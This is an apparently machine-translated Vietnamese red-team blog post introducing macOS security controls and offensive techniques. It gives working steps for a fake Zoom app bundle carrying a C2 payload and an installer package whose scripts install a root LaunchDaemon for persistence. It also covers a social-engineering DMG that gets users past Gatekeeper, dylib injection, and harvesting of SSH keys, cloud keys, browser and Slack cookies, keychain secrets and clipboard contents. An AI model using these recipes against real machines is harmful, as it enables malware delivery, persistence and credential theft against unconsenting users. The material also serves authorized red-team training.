Nhóm màu đỏ macOS 101

Feb 28 2023
Bài đăng này bao gồm các khái niệm bảo mật cơ bản của macOS và hy vọng sẽ đóng vai trò giới thiệu về môi trường macOS hợp tác màu đỏ. Các chủ đề được đề cập Không có nội dung nào trong bài đăng này là nghiên cứu “mới”, mà thay vào đó, tổng hợp thông tin về các chủ đề trên, từ các nguồn bên dưới, ở một nơi duy nhất để dễ đọc và giới thiệu hơn.

Bài đăng này bao gồm các khái niệm bảo mật cơ bản của macOS và hy vọng sẽ đóng vai trò giới thiệu về môi trường macOS hợp tác màu đỏ.

chủ đề bao gồm

  • Tổng quan về bảo mật macOS
    - Gatekeeper & XProtect
    - Thời gian chạy được tăng cường
    - Bảo vệ tính toàn vẹn của hệ thống (SIP)
    - Tính minh bạch, sự đồng ý và kiểm soát (TCC)
    - Hộp cát macOS
    - Chuỗi khóa
  • Tải trọng truy cập ban đầu & tính bền bỉ
    - Gói ứng dụng
    - Gói trình cài đặt
    - Ảnh đĩa (DMG)
  • Nâng cấp đặc quyền & Khai thác sau
    - Nhận thức tình huống
    - Đánh cắp cookie
    - Giám sát bảng tạm
    - Chèn mã
    - Tải Mach-O trong bộ nhớ

Không có gì trong bài đăng này là nghiên cứu “mới”, mà thay vào đó, thông tin tổng hợp về các chủ đề trên, từ các nguồn bên dưới, ở một nơi duy nhất để dễ đọc và giới thiệu hơn.

  • Blog
    - Patrick Wardle/Objective See
    - Adam Chester
    - Justin Bùi
    - Csaba Fitzl
    - Wojciech Reguła
    - Cedric Owens
    - Chris Ross
    - Leo Pitt
  • Video
    - Cedric Owens' DEFCON 29: Red Teaming macOS
    - Cody Thomas' OBTS: Red Teaming macOS
    - Wojciech Reguła's x33fcon: Red Teaming macOS
    - Cody Thomas' OBTS: Lock Picking macOS Keychain
  • Sách/Khóa học
    - Patrick Wardle's The Art of Mac Malware
    - Offensive Security's OSMR
  • Tham chiếu tất cả trong một
    - Awesome-macOS-Red-Teaming

Người gác cổng & XProtect

Gatekeeper là một cơ chế bảo mật được thiết kế để chỉ cho phép các ứng dụng đáng tin cậy chạy trên hệ thống, tương tự như SmartScreen và MOTW trên Windows. Khi các tệp thực thi được tải xuống từ internet, chúng được đánh dấu bằng thuộc com.apple.quarantinetính, thuộc tính này sẽ kích hoạt trình gác cổng khi tệp được chạy.

Nếu tệp thực thi được công chứng, Gatekeeper sẽ xác minh chữ ký mã của tệp và đưa ra lời nhắc cho người dùng xác nhận rằng họ muốn chạy tệp.

Nhấp đúp vào một ứng dụng đã được công chứng

Nếu tệp thực thi không được công chứng, Gatekeeper sẽ đưa ra lời nhắc cho người dùng thông báo rằng tệp không thể chạy được vì tệp chưa được ký. Để chạy các tệp thực thi chưa được ký, người dùng phải nhấp chuột phải vào tệp, sau đó nhấp vào mở, thay vì nhấp đúp.

Nhấp đúp vào tệp không được ký
Nhấp chuột phải để mở một tệp không được ký

Sau khi xác minh chữ ký mã, XProtect, phần mềm chống vi-rút tích hợp sẵn của macOS sẽ quét tệp để tìm phần mềm độc hại. XProtect sử dụng các quy tắc YARA có thể được tìm thấy thông qua locate XProtect.yaravà phần lớn là vô dụng trừ khi bạn đang chạy các tải trọng Metasploit mặc định. Ngoài ra, XProtect chỉ quét phần mềm độc hại theo ba điều kiện

  • Tệp đang được chạy lần đầu tiên
  • Hàm băm của tệp đã thay đổi
  • Các quy tắc YARA của XProtect đã được cập nhật

Thời gian chạy cứng

Thời gian chạy được tăng cường là một tính năng có thể được bật trên các ứng dụng để bảo vệ chống lại việc tiêm mã thông qua hành vi chiếm quyền điều khiển dylib, biến môi trường và tiêm cổng tác vụ. Một ví dụ về cách thời gian chạy cứng nhắc bảo vệ chống lại việc tiêm là bằng cách yêu cầu bất kỳ dylib nào được tải vào quy trình đều được ký bằng cùng một chứng chỉ như chính ứng dụng đó. Tất nhiên, điều này gây ra sự cố khi ứng dụng cần tải dylib của bên thứ 3, do đó, ứng dụng có thể có một số quyền nhất định để loại bỏ một số hạn chế này.

Chúng tôi có thể liệt kê các quyền của ứng dụng thông qua codesign -d --entitlements :- <file>hoặc list_entitlementslệnh trong Poseidon và nếu có bất kỳ quyền nào dưới đây, chúng tôi có thể đưa vào ứng dụng:

  • Quyền com.apple.security.cs.disable-library-validationđược hưởng cho phép bất kỳ dylib nào, đã ký hoặc chưa ký, được tải vào quy trình. Tùy thuộc vào vị trí của dylib mà ứng dụng tải, điều này có thể mở ra cơ hội cho việc chiếm quyền điều khiển dylib.
  • Quyền com.apple.security.cs.allow-dyld-environment-variablescho phép tải các dylib từ DYLD_INSERT_LIBRARIESbiến môi trường. Tuy nhiên, chỉ riêng quyền này không loại bỏ các yêu cầu ký mã đã đề cập trước đó. Nếu quyền này xuất hiện cùng với quyền vô hiệu hóa thư viện-xác thực, bạn có thể đưa vào ứng dụng thông qua DYLD_INSERT_LIBRARIES=malicious.dylib ./apptương tự như LD_PRELOADtrên Linux.
  • Quyền com.apple.security.get-task-allowcho phép các ứng dụng khác nhận cổng tác vụ của ứng dụng của bạn, điều này tương tự như việc nhận quyền điều khiển một quy trình trên Windows. Cần lưu ý rằng để truy cập một cổng tác vụ, mã của bạn phải chạy với quyền root. Sau đó, với cổng tác vụ, bạn có thể thực hiện quá trình chèn quy trình cổ điển của mình thông qua viết shellcode và tạo chuỗi.
  • Liệt kê các quyền của Obsidian

Bảo vệ toàn vẹn hệ thống (SIP)

SIP hay còn gọi là “rootless” bảo vệ các tệp hệ thống khỏi bị sửa đổi. Về cơ bản, ngay cả khi người dùng root, chúng tôi không thể thay đổi một số tệp hệ thống nhất định, chẳng hạn như tệp thực thi trong /bin/. Các tệp được bảo vệ bởi SIP có thể được xác định thông qua restrictedcờ.

SIP có thể bị vô hiệu hóa thông qua csrutil disable, tuy nhiên, nó yêu cầu khởi động lại thiết bị ở chế độ khôi phục, do đó, điều này thường nằm ngoài câu hỏi từ góc độ đội đỏ.

Tính minh bạch, sự đồng ý và kiểm soát (TCC)

TCC là tính năng bảo mật của macOS được triển khai trong v10.14+, nhắc người dùng cấp quyền một cách rõ ràng khi một ứng dụng cố truy cập vào một số tài nguyên nhất định như máy ảnh và các thư mục nhất định bao gồm , , Desktopvà Downloadsổ Documentsđĩa/ổ đĩa.

lời nhắc TCC

Cố gắng truy cập tài nguyên được TCC bảo vệ mà không có quyền có thể vô tình tạo lời nhắc, cảnh báo người dùng về sự hiện diện của bạn và cuối cùng là sự tương tác của bạn kết thúc sớm hơn dự kiến. Dưới đây là một số tệp hữu ích không được TCC bảo vệ:

  • Các tệp & thư mục ẩn trong thư mục chính — ~/.aws/*, ~/.ssh/*, ~/.bash_history,~/.zsh_history
  • Dữ liệu ứng dụng người dùng —~/Library/Application Support/*
  • Tệp cookie — ~/Library/Application Support/Google/Chrome/Default/Cookies,~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Cơ sở dữ liệu TCC của người dùng yêu cầu quyền truy cập toàn bộ đĩa (FDA) để tương tác, tuy nhiên, nếu chúng tôi có thể tương tác với nó, thì chúng tôi có thể sửa đổi nó để cấp cho mình quyền truy cập vào các tài nguyên khác. Chúng tôi có thể kiểm tra xem chúng tôi có FDA hay không mà không cần nhắc người dùng bằng cách chạy fileđối với cơ sở dữ liệu TCC của người dùng.

Với FDA
không có FDA

Các đường vòng TCC không đặc biệt “hiếm” và tôi khuyên bạn nên xem blog của Csaba Fitzl để cập nhật các đường vòng cũ và mới.

hộp cát macOS

Hộp cát macOS là một tính năng mà các nhà phát triển có thể chọn sử dụng ứng dụng của họ nếu chúng được phát hành bên ngoài App Store và bắt buộc đối với tất cả các ứng dụng được tải xuống trực tiếp từ App Store. Các ứng dụng đã chọn tham gia tính năng hộp cát sẽ có quyền com.apple.security.app-sandboxvà đúng như tên gọi, sẽ buộc chúng chạy bên trong hộp cát. Các ứng dụng chạy trong hộp cát có quyền truy cập cực kỳ hạn chế vào hệ thống, chẳng hạn như khả năng đọc hoặc ghi tệp vào đĩa. Vì lý do này, một số đường tấn công nhất định trên macOS chẳng hạn như lừa đảo qua macro không hấp dẫn. Vì các ứng dụng Microsoft Office chọn tham gia hộp cát và sẽ ngăn bạn tiếp tục và cướp bóc.

móc khóa

Chuỗi khóa có thể được so sánh với LSASS trên Windows và giữ các bí mật như mật khẩu và khóa cho ứng dụng. Ví dụ: một ứng dụng có thể mã hóa các tệp mà nó lưu trữ trên đĩa và khóa giải mã cho các tệp này được lưu trữ trong móc khóa. Có thể tìm thấy móc khóa hệ thống tại /Library/Keychains/System.keychainvà có thể tìm thấy móc khóa của người dùng tại ~/Library/Keychains/login.keychain-db.

Bạn có thể tải xuống móc khóa của người dùng, tuy nhiên, các bí mật bên trong sẽ được mã hóa bằng mật khẩu của người dùng. Tùy thuộc vào việc bạn có mật khẩu của người dùng hay không, bạn có thể tận dụng Chainbreaker để trích xuất bí mật hoặc chuyển hàm băm của mật khẩu móc khóa qua --dump-keychain-password-hashđịnh dạng cho hashcat, vốn rất chậm để bẻ khóa.

Cuối cùng, mỗi mục nhập trong chuỗi khóa có các ACL và quyền được liên kết có thể được xem trong ứng dụng Truy cập chuỗi khóa. Các ứng dụng đáng tin cậy là các ứng dụng có thể thực hiện các thao tác trên mục chuỗi khóa mà không cần nhắc người dùng. Bạn có thể tìm thấy danh sách này trong tab “Kiểm soát truy cập” và một trường hợp thú vị là danh sách này là “NULL”, nghĩa là tất cả các ứng dụng đều đáng tin cậy, không bị nhầm lẫn với danh sách trống có nghĩa đơn giản là không có ứng dụng nào được tin cậy.

Nếu bạn đang chạy trong ngữ cảnh của một ứng dụng đáng tin cậy hoặc danh sách là NULL và bạn có bất kỳ ủy quyền nào dưới đây, thì bạn có thể trích xuất bí mật mà không cần nhắc người dùng:

  • ACLAuthorizationDecrypt
  • ACLAuthorizationExportClear
  • ACLAuthorizationExportWrapped
  • ACLAủy quyềnBất kỳ

Tải trọng truy cập ban đầu & tính bền bỉ

Nếu bạn quan tâm đến việc tìm hiểu về các loại tải trọng cho macOS thay thế cho những loại được liệt kê bên dưới, tôi khuyên bạn nên xem dự án Mystikal và bài đăng trên blog được liên kết .

Ngoài ra, cần lưu ý rằng các sản phẩm EDR trên macOS chưa hoàn thiện và về cơ bản chỉ hoạt động như một sản phẩm ghi nhật ký. Do đó, thông thường bạn có thể sử dụng bất kỳ tác nhân C2 mặc định nào ngoài Metasploit và không phải lo lắng về việc EDR bắt tải trọng của bạn.

Gói ứng dụng

Gói ứng dụng (.app) là một trong những loại chương trình phổ biến nhất và là định dạng mà hầu hết các phần mềm người dùng cuối đều được phát hành dưới dạng đó. Các gói ứng dụng được lưu trữ bên trong /Applications/và hiển thị cho bạn khi bạn nhấp vào Launchpad. Tham khảo tài liệu của Apple , gói ứng dụng tối thiểu thường có cấu trúc sau:

AppName.app/
    Contents/
        Info.plist  # App config info
        MacOS/      # Contains the app's executable file
        Resources/  # Fonts, images, sounds, icons, etc.

1 - Tạo cấu trúc thư mục gói ứng dụng

mkdir FakeZoom.app
mkdir FakeZoom.app/Contents
touch FakeZoom.app/Contents/Info.plist
mkdir FakeZoom.app/Contents/MacOS
mkdir FakeZoom.app/Contents/Resources

Tiếp theo, vì cả máy Mac của Intel và Silicon hiện đều phổ biến, nên chúng tôi có thể tạo cả tải trọng AMD và ARM Poseidon, sau đó kết hợp chúng thành một Mach-O phổ quát có thể chạy trên cả hai kiến ​​trúc và sau đó đặt nó vào thư lipo -create <arm-payload> <amd-payload> -output <universal-payload>mục MacOS.

Xây dựng tải trọng Poseidon phổ quát

3 - Tạo Info.plisttệp.

Tham khảo tài liệu dành cho nhà phát triển của Apple , chúng tôi sẽ cần chỉ định một vài khóa:

  • CFBundleExecutable — Tên của tệp thực thi chính trong thư mục MacOS (PoseidonPayload)
  • CFBundleIconFile — Tên của hình ảnh ứng dụng (ZoomImageForPayload)
  • CFBundleIdentifier — Chuỗi xác định duy nhất ứng dụng của bạn trên hệ thống (com.examplepayload.Zoom)
  • CFBundleName — Tên ứng dụng của bạn (FakeZoom)
  • CFBundleVersion — Số phiên bản bản dựng của ứng dụng của bạn (1.0.0)
  • <?xml version="1.0" encoding="UTF-8"?>
    <!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
    <plist version="1.0">
    <dict>
     <key>CFBundleExecutable</key>
     <string>PoseidonPayload</string>
     <key>CFBundleIconFile</key>
     <string>ZoomImageForPayload</string>
     <key>CFBundleIdentifier</key>
     <string>com.examplepayload.Zoom</string>
     <key>CFBundleName</key>
     <string>FakeZoom</string>
     <key>CFBundleVersion</key>
     <string>1.0.0</string>
    </dict>
    </plist>
    

Vì chúng tôi đang tạo một ứng dụng Zoom giả, chúng tôi chỉ có thể sao chép tệp icns của Zoom ra khỏi thư /Applications/mục (nếu nó được cài đặt) và vào Resources/ZoomImageForPayload, tuy nhiên, bạn có thể sử dụng bất kỳ biểu tượng nào bạn muốn.

Cấu trúc thư mục ứng dụng

Gói cài đặt

Gói trình cài đặt (.pkg) là kho lưu trữ xar và một loại chương trình phổ biến khác được thấy khi phần mềm cần được cài đặt với quyền root. Mặc dù các gói trình cài đặt có thể chứa tải trọng chính để chạy khi được mở, nhưng một giải pháp thay thế là tận dụng các tập lệnh “cài đặt trước” và “cài đặt sau”, như tên ngụ ý, sẽ chạy tập lệnh trước và sau khi cài đặt.

Đối với ví dụ này, chúng tôi sẽ tạo một gói trình cài đặt sử dụng các tập lệnh này để đăng ký LaunchDaemon để tồn tại với tư cách là người dùng gốc khi được mở.

1 - Tạo cấu trúc thư mục gói cài đặt

mkdir scripts
mkdir scripts/files
touch scripts/preinstall
touch scripts/postinstall
chmod +x scripts/preinstall
chmod +x scripts/postinstall

2 - Tạo tệp plist để đăng ký làm LaunchDaemon

Thực sự chỉ có một giá trị cần thiết trong tệp plist này ProgramArgumentsvà về cơ bản chỉ định những gì sẽ chạy khi LaunchDaemon được kích hoạt.

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
 <key>Label</key>
 <string>com.examplepayload.persistence</string>
 <key>ProgramArguments</key>
 <array>
  <string>/Library/Application Support/PoseidonPayload</string>
 </array>
 <key>KeepAlive</key>
 <true/>
</dict>
</plist>

3 - Tạo tập lệnh trước và sau khi cài đặt

Các tập lệnh này chỉ là tập lệnh bash thông thường, tuy nhiên, chúng phải bắt đầu bằng #!/bin/bashvà kết thúc bằng exit 0. Chúng tôi sẽ sử dụng tập lệnh cài đặt trước để sao chép plist và tải trọng của chúng tôi vào đúng vị trí trên đĩa, sau đó là tập lệnh cài đặt sau để đăng ký LaunchDaemon.

#!/bin/bash
cp files/PoseidonPayload "/Library/Application Support/PoseidonPayload"
cp files/com.examplepayload.persistence.plist "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0
#!/bin/bash
launchctl load "/Library/LaunchDaemons/com.examplepayload.persistence.plist"
exit 0

      
                

Để tạo gói trình cài đặt từ các tập lệnh này, chúng ta chỉ cần chạypkgbuild --identifier <identifier> --nopayload --scripts <path to scripts folder> <output>.pkg

Chúng ta có thể hủy tải LaunchDaemon bằng cách chạy launchctl unload com.examplepayload.persistence.plistvà cần lưu ý rằng việc giảm tải xuống /Library/Application Support/hoàn toàn là tùy chọn và nó có thể được hủy ở nơi khác.

LaunchDaemons chỉ đại diện cho một dạng kiên trì trên macOS và nếu bạn quan tâm đến các dạng khác, tôi khuyên bạn nên xem blog của SentinelOne .

Hình ảnh đĩa (DMG)

DMG là các ổ nén có thể chứa các định dạng tải trọng khác. Lợi ích của việc phân phối tải trọng của bạn trong tệp DMG là bạn có thể thêm các yếu tố đồ họa để hỗ trợ kỹ thuật xã hội mà người dùng nhấp chuột phải, sau đó mở tải trọng của bạn để bỏ qua Gatekeeper, vì bản thân DMG không gọi Gatekeeper.

Để xây dựng một DMG có giao diện chân thực, chúng tôi sẽ cần tạo một hình nền tùy chỉnh, tôi thích tận dụng phần mềm hợp pháp hoặc hình nền công ty cùng với draw.io , nhưng bạn có thể tạo hình nền của riêng mình theo ý muốn.

Đối với bản trình diễn này, tôi đã sử dụng hình ảnh này làm cơ sở và tạo ra hình ảnh này:

Để bắt đầu, chúng ta có thể tạo một ảnh đĩa bằng cách mở Disk Utilityvà chọn “Tệp” rồi “Hình ảnh mới” rồi “Hình ảnh trống…”

Chúng tôi có thể chọn tên của ổ đĩa của mình, sau đó thay đổi “Định dạng” thành “Mac OS Extended (Journaled)”.

Mở tệp .dmg, trong trường hợp của tôi là “example-payload.dmg”, và một ổ đĩa sẽ xuất hiện trên Màn hình của bạn, sau đó mở ổ đĩa, đó là “ví dụ” trong trường hợp của tôi. Để hiển thị các tệp ẩn trên macOS, bạn có thể nhấp vào “[shift] + [command] + [period]”.

Di chuyển hình nền của bạn vào ổ đĩa /Volumes/<volume-name>/dưới dạng tệp ẩn, cùng với tải trọng của bạn. Đối với ví dụ này, chúng ta có thể sử dụng lại gói ứng dụng từ phần trên.

Tiếp theo, chúng ta có thể nhấp vào âm lượng và chọn “Chế độ xem”, sau đó là “Hiển thị tùy chọn chế độ xem”.

Trong phần “Nền”, chọn “Hình ảnh”, sau đó nhấp đúp vào hộp “Kéo hình ảnh vào đây”. Một cửa sổ Finder mới sẽ mở ra và bạn có thể chọn hình nền từ bên trong ổ đĩa. Nếu bạn không chọn một hình ảnh chứa trong tập đĩa, nó có thể gây ra lỗi. Ngoài ra, chúng ta có thể thay đổi kích thước biểu tượng thông qua “Kích thước biểu tượng”.

Thay đổi kích thước cửa sổ để phù hợp với nền của bạn và căn giữa gói ứng dụng.

Khi bạn hài lòng với bố cục và trong khi cửa sổ Finder vẫn đang mở, hãy nhấp chuột phải vào âm lượng trên Bàn làm việc và nhấp vào “Eject”.

Mở lại Disk Utilityvà chọn “Hình ảnh” rồi “Chuyển đổi…”

Chọn tệp DMG của bạn, sau đó chọn “Mã hóa: không có” và “Định dạng hình ảnh: đã nén”

Tất nhiên, bản trình diễn này không có nhiều ý nghĩa vì nó là nền Chrome, với ứng dụng Thu phóng (lol), tuy nhiên, hy vọng bạn hiểu rõ.

Một điều cuối cùng cần lưu ý về tải trọng là các tệp được tải xuống qua trình duyệt của bạn sẽ nối thêm thuộc com.apple.metadata:kMDItemWhereFromstính liệt kê nơi tệp được tải xuống từ đó. Nếu bạn đang tải xuống tải trọng Poseidon của mình trực tiếp từ Mythic trong trình duyệt của mình trước khi đóng gói, điều này có thể dẫn đến việc vô tình tiết lộ vị trí máy chủ nhóm của bạn. Bạn có thể xóa thuộc tính này qua xattr -d com.apple.metadata:kMDItemWhereFroms <file>.

Nâng cao đặc quyền & Khai thác sau

Phần này không phải là tất cả các hoạt động bạn có thể thực hiện sau khi nhận shell và chỉ nhằm cung cấp ý tưởng chung về post-ex trên macOS.

Nhận thức tình huống

Bạn có thể bắt đầu với một số kiểm tra nhận thức tình huống trên hệ thống, bằng cách chạy HealthInspector hoặc SwiftBelt hoặc duyệt các tệp cấu hình theo cách thủ công. Nhiều tệp trong số này sẽ là tệp plist ở định dạng nhị phân và để làm cho chúng có thể đọc được, bạn có thể sử dụng tệp plutil. Một số tệp quan tâm có thể là:

  • Những ứng dụng nào người dùng có trong thanh công cụ? —plutil -p ~/Library/Preferences/com.apple.dock.plist
  • Những tệp nào người dùng đã tương tác gần đây? —plutil -p ~/Library/Preferences/com.apple.finder.plist
  • Phiên bản macOS nào của bạn? —plutil -p /System/Library/CoreServices/SystemVersion.plist

Tiếp theo, bạn có thể bắt đầu tải xuống một số tệp không được TCC bảo vệ khỏi đĩa, bao gồm lịch sử bash hoặc zsh của người dùng, khóa ssh, khóa đám mây (AWS, GCP, v.v.), móc khóa và cookie.

Nếu bạn đang sử dụng macOS, có khả năng tổ chức cho sự tham gia của bạn có thể là một công ty công nghệ hoặc công ty khởi nghiệp và Slack thường thấy trong những môi trường này. Nếu vậy, bạn có thể tải xuống các tệp sau:

  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/storage/root-state.json
  • ~/Library/Containers/com.tinyspeck.slackmacgap/Data/Library/Application Support/Slack/Cookies

Tiếp theo, bạn có thể nhắm mục tiêu cookie của trình duyệt, ví dụ này chúng tôi sẽ sử dụng Google Chrome. Nếu bạn có mật khẩu của người dùng bằng cách tìm nó trong lịch sử bash hoặc zsh của họ hoặc có thể chạy trình nhắc mật khẩu , bạn có thể tải xuống ~/Library/Application Support/Google/Chrome/Default/Cookiesvà giải mã tệp ngoại tuyến. Ngoài ra, nếu bạn không có mật khẩu của người dùng, bạn có thể sử dụng các công cụ như WhiteChocolateMacademiaNut để khởi động Chrome với tính năng gỡ lỗi từ xa được bật, sau đó kết xuất cookie qua ổ cắm web. Một lần nữa, vì mac EDR chưa trưởng thành nên việc bỏ các công cụ bị cắt xén vào đĩa không phải là vấn đề đáng lo ngại.

Với quyền truy cập vào cookie của trình duyệt, sau đó bạn có thể mở SOCKS thông qua lệnh tích hợp sẵn của Poseidon hoặc thả đục và duyệt các trang web nội bộ. Cụ thể, bạn có thể muốn nhắm mục tiêu các trang web tài liệu nội bộ như Confluence và kho lưu trữ mã nội bộ của chúng để tìm thông tin đăng nhập đặc quyền.

Giám sát Clipboard

Trên macOS, mỗi khi nội dung của khay nhớ tạm thay đổi, bộ đếm sẽ tăng lên, do đó, chúng ta có thể theo dõi giá trị của bộ đếm trong một khoảng thời gian và tìm nạp nội dung của khay nhớ tạm nếu nó đã thay đổi. Poseidon có sẵn một lệnh clipboard_monitormà chúng ta có thể tận dụng cho việc này.

Một số điều bổ sung cần lưu ý:

  • Lệnh clipboard_monitorlọc để chỉ truy xuất văn bản thuần túy, vì vậy nếu người dùng sao chép một tệp nhị phân lớn vào khay nhớ tạm của họ, chúng tôi không phải lo lắng về việc gửi một lượng lớn lưu lượng truy cập qua C2 của chúng tôi.
  • Người dùng root không có quyền truy cập vào khay nhớ tạm, vì vậy mọi công cụ giám sát khay nhớ tạm phải được chạy trong ngữ cảnh người dùng.

Như đã đề cập trước đây trong phần tăng cường thời gian chạy, khả năng đưa mã vào một ứng dụng rất hữu ích từ góc độ nhóm đỏ vì nó có khả năng cấp cho bạn các quyền bổ sung và quyền truy cập vào các tài nguyên mà trước đây bạn không có.

Ví dụ: tải trọng ban đầu của bạn có thể không có quyền truy cập vào thư mục Tải xuống, tuy nhiên, nếu bạn có thể đưa mã vào Chrome có thể có quyền com.apple.security.files.downloads.read-write, thì bạn sẽ có thể duyệt thư mục Tải xuống.

Để tìm các mục tiêu cho việc tiêm mã, bạn có thể chạy lệnh của Poseidon, list_entitlementslệnh này sẽ tìm kiếm các quy trình đang chạy với các quyền được đề cập trong phần thời gian chạy cứng.

Từ đây, bạn có thể kiểm tra từng quy trình để tìm mục tiêu tiềm năng.

Một hình thức chèn mã khác chưa được đề cập trước đây là "đánh cắp điện tử", được Adam Chester trình bày rộng rãi trong blog này . Về cơ bản, bạn có thể tận dụng ELECTRON_RUN_AS_NODEbiến môi trường để sinh ra một quy trình với tư cách là ứng dụng con của ứng dụng điện tử và vì các quy trình con kế thừa các quyền TCC của cha mẹ chúng, nên bạn có khả năng có được các quyền của chúng.

Tải Mach-O trong bộ nhớ

Mặc dù chắc chắn là không cần thiết với trạng thái hiện tại của macOS EDR, nhưng có thể chạy Mach-O trong bộ nhớ. Các API được sử dụng để thực hiện tải trong bộ nhớ khác nhau giữa các phiên bản hệ điều hành, vì vậy tôi sẽ không đề cập đến vấn đề này mà thay vào đó khuyên bạn nên xem bài đăng của Justin Bui và bài đăng của Adam Chester .